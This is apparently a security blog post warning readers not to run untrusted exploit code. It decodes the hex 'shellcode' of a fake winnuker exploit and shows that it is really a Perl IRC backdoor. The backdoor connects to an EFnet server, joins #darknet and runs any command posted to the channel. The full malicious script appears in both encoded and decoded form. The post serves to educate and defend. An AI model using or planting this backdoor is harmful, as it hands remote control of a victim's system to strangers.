Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from http://www.hackerthreads.org/Topic-5973. Which sports the following payload:
h3llc0de= "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63" "\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69" "\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72" "\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e" "\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65" "\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f" "\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49" "\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e" "\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22" "\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63" "\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d" "\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43" "\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68" "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20" "\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64" "\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65" "\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d" "\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d" "\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20" "\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c" "\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22" "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53" "\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20" "\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66" "\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20" "\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20" "\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f" "\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63" "\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68" "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f" "\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e" "\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e" "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28" "\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24" "\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d" "\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24" "\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24" "\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22" "\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22" "\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c" "\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d" "\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64" "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:
~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
#!/usr/bin/perl
$chan="#darknet";$nick="moron";$server="efnet.vuurwerk.nl";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi
If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel.
If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.
understand an exploit is difficult, therefore being a script kiddie is a dangerous job